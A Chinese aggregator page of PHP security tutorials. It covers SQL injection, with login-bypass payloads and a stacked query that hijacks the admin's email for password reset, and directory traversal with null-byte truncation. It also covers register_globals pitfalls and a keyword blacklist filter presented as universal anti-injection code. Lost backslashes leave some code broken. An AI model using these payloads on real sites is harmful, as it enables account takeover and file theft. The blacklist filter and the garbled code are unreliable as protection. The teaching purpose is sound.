虽然这段脚本代码非常简单,但是这在学习SQL注入时非常有用。正如我们所看到的,变量$nick和 $pass用于SQL请求时并未进行任何有效地验证,因此我们可以注入我们的SQL代码!看一下下面的请求语句:

”SELECT * FROM sql_inj WHERE nick ='“.$nick.”' AND pass ='“ .$pass. ”'“

What happends if we pass two variables tainted like these:

假如我们输入经恶意构造的这两个变量,那么将会发生什么事呢,例如:

$nick = 1' OR '1' = '1

$pass = 1' OR '1' = '1

The new query will be:

构成新的请求语句:

”SELECT * FROM sql_inj WHERE nick ='1 OR '1' = '1' AND pass ='1' OR '1' = '1'“

如果你已经知道了关于数据库中的表的知识,但还未弄清楚上面的语句,那么可以看看下面的解释,以帮助你理解它。

1 OR 1 = 1 ??

1或者1等于1?很明显的!那么谁是'sql_inj'表中的第一位用户呢?会是安装这一WEB程序的人吗?没错!就是管理员。

因此我们可以以管理员的身份登陆网站,这样我们就成为管理员了,酷吧!

我们也可以输入下列请求:

$nick = 1' OR '1' = '1' #

$pass = what_we_want_to_put

构成新一请求语句:

”SELECT * FROM sql_inj WHERE nick ='1 OR '1' = '1' # AND pass = what_we_want_to_put“

之前我们已经说过'#'是注释用的!现在我们重新构成新的请求语句:

”SELECT * FROM sql_inj WHERE nick ='1 OR '1' = '1'

现在我们又变成管理员了:D

------[ 0x04b: 1 Query? No.. 2 one! ]

通过SQL注入,我们可以通过修改请求语句,从而注入新的数据,更改用户资料,还可以做其它事……让我们看一下下面的源代码:

//email.php

[...]

$email = $_POST['email'];

[...]

$query = mysql_query(“SELECT email, passwd, user_name FROM users WHERE email =

'”.$email.“'”);

[...]

?>

在这里,变量$email 在使用前并未进行任何有效地验证,因此我们可以利用它了。比如通过输入像下面的变量值就可以很容易地更新数据库信息了:

$email = x'; UPDATE users SET email = 'omnipresent@email.it'

WHERE email = 'admin@site.com ';

构造新的请求语句:

SELECT email, passwd, user_name FROM users

WHERE email = ' x'; UPDATE users SET email = 'omnipresent@email.it'

WHERE email = 'admin@site.com ';

这里攻击者可以修改 'users' 表,特别是管理员的邮箱,利用他的邮箱,我可以通过“忘记了密码?”这一链接,利用邮箱(这里是omnipresent@email.it)接收一封像下列内容的邮件,从而达到目的:

From: host@site.com

T omnipresent@email.it

Subject: Login Password

Ehy.. take it ;)

Username: Admin

Password: 12345

Regards,

Admin

---[ 修补 ]---

首先可以通过修改php.ini文件来修补脚本漏洞:

1. 在所有的' (单引号) , “ (双引号) , (反斜线)以及NULL前自动加上转义符――反斜线“”

-COOKIE

-POST

-GET

2. 在字符串前加上斜线‘/’

3. 将指定的字符转换为HTML实体

4.转义在mysql-query中使用的字符串

5. 可以到 www.php.net 查看更多的函数

(译注: www.php.net 是一个不错的PHP在线查询站点,我经常用它来查询PHP函数及其它相关资料。)

6. 验证用户提取的数据,例如:

$user_id = (int)$_GET['user_id'];

$user_id is always an integer and we can cast the input for securing

our web applications.

变量$user_id 总为整数,这样就可以确保在WEB程序中输入数据的安全了。

-----------------------------------------------------------------------------[/]

---[ 0x05: 文件遍历]

遍历文件是一个十分危重的漏洞,下面简单讲解一下该漏洞。

无论在什么时候,当我们需要使用文件时都需要检查一下脚本中的文件名及其路径。

在大多情况下,文件名都是作为函数fopen()的参数来传输的,比如:

[...]

$fp = fopen(“/path/{$_GET['filename']}.txt”, 'r');

[...]

?>

由于在这段脚本代码中'filename' 可被被远程用户修改破坏,这就造成了文件遍历漏洞。

在这种情况下,攻击者可以通过使用多个“../”来移动目录查看文件。

例如:

remote_host/path/bug.php?filename=../../../../path_of_another_file/file%00

NULL Byte (%00)在许多攻击中多用于截断字符串,以突破文件扩展名的限制。

---[ 修补 ]---

修补这一漏洞最好的方法就是使用basename()函数,例如:

$clean = array();

if (basename($_GET['filename']) == $_GET['filename'])

{

$clean['filename'] = $_GET['filename'];

}

else

{

[...]

}

$fp = fopen(“/path/{$clean['filename']}.txt”, 'r');

?>

-----------------------------------------------------------------------------[/]

---[ 0x06: 结论 ]

这是“PHP Undergroud Security”的结尾了,希望本文对你打造php安全代码有所帮助!

有任何问题可发送邮件至 omnipresent@email.it 或者 omni@playhack.net 。

-----------------------------------------------------------------------------[/]

=======================[EOF]============== ====== /

篇5:PHP安全使用 Register Globals

当 register_globals 打开以后,各种变量都被注入代码,例如来自 HTML 表单的请求变量。再加上 PHP 在使用变量之前是无需进行初始化的,这就使得更容易写出不安全的代码。这是个很艰难的抉择,但 PHP 社区还是决定默认关闭此选项。当打开时,人们使用变量时确实不知道变量是哪里来的,只能想当然。但是 register_globals 的关闭改变了这种代码内部变量和客户端发送的变量混杂在一起的糟糕情况。下面举一个错误使用 register_globals 的例子:

Example#1 错误使用 register_globals = on 的例子

// 当用户合法的时候,赋值 $authorized = true

if (authenticated_user()) {

$authorized = true;

}

// 由于并没有事先把 $authorized 初始化为 false,

// 当 register_globals 打开时,可能通过GET auth.php?authorized=1 来定义该变量值

// 所以任何人都可以绕过身份验证

if ($authorized) {

include “/highly/sensitive/data.php”;

}

?>

当 register_globals = on 的时候,上面的代码就会有危险了。如果是 off,$authorized 就不能通过如 URL 请求等方式来改变,这样就好多了,尽管初始化变量是一个良好的编程习惯。比如说,如果在上面的代码执行之前加入 $authorized = false 的话,无论 register_globals 是 on 还是 off 都可以,因为用户状态被初始化为未经认证。

另一个例子是关于会话的。当 register_globals = on 的时候,$username 也可以用在下面的代码中,但要意识到 $username 也可能会从其它途径进来,比如说通过 URL 的 GET。

Example#2 使用会话时同时兼容 register_globals on 和 off 的例子

// 我们不知道 $username 的来源,但很清楚 $_SESSION 是

// 来源于会话数据

if (isset($_SESSION['username'])) {

echo “Hello{$_SESSION['username']}”;

} else {

echo “HelloGuest

”;

echo “Would you like to login?”;

}

?>

采取相应的预防措施以便在伪造变量输入的时候给予警告是完全有可能的。如果事先确切知道变量是哪里来的,就可以检查所提交的数据是否是从不正当的表单提交而来。不过这不能保证变量未被伪造,这需要攻击者去猜测应该怎样去伪造。如果不在乎请求数据来源的话,可以使用 $_REQUEST 数组,它包括了 GET、POST 和 COOKIE 的所有数据。详情可参见本手册的来自 PHP 之外的变量。

Example#3 探测有害变量

if (isset($_COOKIE['MAGIC_COOKIE'])) {

// MAGIC_COOKIE 来自 cookie

// 这样做是确保是来自 cookie 的数据

} elseif (isset($_GET['MAGIC_COOKIE']) || isset($_POST['MAGIC_COOKIE'])) {

mail(“admin@example.com”, “Possible breakin attempt”, $_SERVER['REMOTE_ADDR']);

echo “Security violation, admin has been alerted.”;

exit;

} else {

// 这一次请求中并没有设置 MAGIC_COOKIE 变量

}

?>

当然,单纯地关闭 register_globals 并不代表所有的代码都安全了。对于每一段提交上来的数据,都要对其进行具体的检查。永远要验证用户数据和对变量进行初始化!把 error_reporting() 设为 E_NOTICE 级别可以检查未初始化的变量。

更多关于模拟 register_globals 为 on 或 off 的信息,请见此 FAQ。

Note: Superglobals 可用性说明 自 PHP 4.1.0 起,可以使用超全局数组变量例如 $_GET,$_POST 和 $_SERVER 等等。更多信息请阅读手册中的 superglobals。

While we all appreciate the many helpful posts to get rid of register_globals, maybe you're one of those who just loves it. More likely, your boss says you just have to live with it because he thinks it's a great feature.

No problem, just call (below defined):

anywhere, as often as you want. Or update your scripts!

/**

* function to emulate the register_globals setting in PHP

* for all of those diehard fans of possibly harmful PHP settings :-)

* @author Ruquay K Calloway

* @param string $order order in which to register the globals, e.g. 'egpcs' for default

*/ function register_globals($order = 'egpcs')

{

// define a subroutine

if(!function_exists('register_global_array'))

{

function register_global_array(array $superglobal)

{

foreach($superglobal as $varname => $value)

{

global $$varname;

$$varname = $value;

}

}

}

$order = explode(“rn”, trim(chunk_split($order, 1)));

foreach($order as $k)

{

switch(strtolower($k))

{

case 'e': register_global_array($_ENV); break;

case 'g': register_global_array($_GET); break;

case 'p': register_global_array($_POST); break;

case 'c': register_global_array($_COOKIE); break;

case 's': register_global_array($_SERVER); break;

}

}

}

?>

Put this to the beginning of every file or to a functions.inc.php and call it every time before start working with user variables.

This will prevent problems with wrong initalized variables or users who try to break your application.

And this has an extra bonus: Applications which still work are also register_globasl = off enabled!

// // If register_globals is on, delete all variables exept the ones in the array

// if (ini_get('register_globals')) {

foreach ($GLOBALS as $int_temp_name => $int_temp_value) {

if (!in_array($int_temp_name, array (

'GLOBALS',

'_FILES',

'_REQUEST',

'_COOKIE',

'_SERVER',

'_ENV',

'_SESSION',

ini_get('session.name'),

'int_temp_name',

'int_temp_value'

))) {

unset ($GLOBALS[$int_temp_name]);

}

}

}

// // Now, (re)import the variables

// if (isset ($_REQUEST['pass']))

$ext_pass = $_REQUEST['pass'];

if (isset ($_REQUEST['user']))

$ext_user = $_REQUEST['user'];

if (isset ($_REQUEST['action']))

$ext_action = $_REQUEST['action'];

// // Cleanup entries

// $int_pass = (isset ($ext_pass) ? preg_replace(“'[^A-Z]'”, “”, $ext_pass) : '');

$int_user = (isset ($ext_user) ? preg_replace(“'[]A-Za-z0-9áäàâãëèéêïìîóöòôõúüùû .^$!_-()'”, “”, $ext_user) : '');

$int_action = (isset ($ext_action) ? intval($ext_action) : '');

// // Import Session variables

// if (isset ($_SESSION)) {

foreach ($_SESSION as $int_temp_key => $int_temp_value) {

if ($int_temp_value != '') {

$$int_temp_key = $int_temp_value;

}

}

}

// // Import Cookie variables

// if (isset ($_COOKIE)) {

foreach ($_COOKIE as $int_temp_key => $int_temp_value) {

if ($int_temp_value != '') {

$$int_temp_key = $int_temp_value;

}

}

}

// // From here on, work only with $int_ variables and you're safe!

// ?>

With this you can prevent a lot of different problems!

Alans code may get rid of globals but it is slow since it is doing regular expressions on each of the input items. Then to add on more time the code is being passed through eval.

Besides the slower performance, his code is not checking to see if the variable may have been changed at any state before this code is being done.

There might be auto_prepended files or include files that might need to run before it. He is also going through get and post and lastly request which is a little silly seeing as request will contain the get, post and cookie so he has run get and post twice.

Here is a more effective fix that will take all the keys in request which become variable names and checks to make sure that the variables match then unsets the element.

@ Mike Willbanks's post

This is an even cleaner version of your code:

if( ini_get(register_globals) ) {

/* genocide the damn registered globals if they are on */ foreach( $_REQUEST as $key => $var ){

if( $var === $$key ){

unset($$key);

}

}

}

?>

篇6:PHP通用防注入安全代码

/*************************

说明:

判断传递的变量中是否含有非法字符

如$_POST、$_GET

功能:

防注入

**************************/

//要过滤的非法字符

$ArrFiltrate=array(“'”,“;”,“union”);

//出错后要跳转的url,不填则默认前一页

$StrGoUrl=“”;

//是否存在数组中的值

function FunStringExist($StrFiltrate,$ArrFiltrate){

foreach ($ArrFiltrate as $key=>$value){

if (eregi($value,$StrFiltrate)){

return true;

}

}

return false;

}

//合并$_POST 和 $_GET

if(function_exists(array_merge)){

$ArrPostAndGet=array_merge($HTTP_POST_VARS,$HTTP_GET_VARS);

}else{

foreach($HTTP_POST_VARS as $key=>$value){

$ArrPostAndGet[]=$value;

}

foreach($HTTP_GET_VARS as $key=>$value){

$ArrPostAndGet[]=$value;

}

}

//验证开始

foreach($ArrPostAndGet as $key=>$value){

if (FunStringExist($value,$ArrFiltrate)){

echo “”;

if (empty($StrGoUrl)){

echo “”;

}else{

echo “”;

}

exit;

}

}

?>

保存为checkpostandget.php

然后在每个php文件前加include(“checkpostandget.php“);即可

篇7:vbs调用php脚本安全

php有很多强大的函数,特别是数组函数是很多vbs没有的,如果直接调用就省事多了,我只想到一个粗糙的方法调用,期待高手有更好的办法。

Set ws = CreateObject(“WScript.Shell”)

Set oExec = ws.Exec(“D:PC_webserverphpphp.exe D:PC_webserverphp1.php”)

arraystr= oExec.StdOut.Readall

wsh.echo arraystr

Pear 的故事作文

“火柴棍式”程序员笔试题

BBSXP,很多注入脚本安全

帝国CMS 留言本多字节漏洞漏洞预警

seo面试题与答案

hr面试题及答案

社区面试题及答案

面试题及答案

FTP常用软件servu的安全权限处理WEB安全

从曲折到成功的实例入侵思路

PHP安全 XSS篇
《PHP安全 XSS篇.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

【PHP安全 XSS篇(共7篇)】相关文章:

跨站脚本漏洞的利用教程2023-05-16

浅谈gdb在漏洞发掘中的使用2023-03-14

网上订餐系统点评:都来订网络外卖订餐系统2022-08-08

python自定义解析简单xml格式文件的方法2022-05-07

漂亮的花边说课稿2023-04-18

通用菜单生成程序.net2022-05-08

国寿计划书生成系统2022-05-02

设计模式之工厂模式2022-11-17

WordPress数据备份方案2022-11-09

Go语言对字符串进行SHA1哈希运算的方法2022-04-30

点击下载本文文档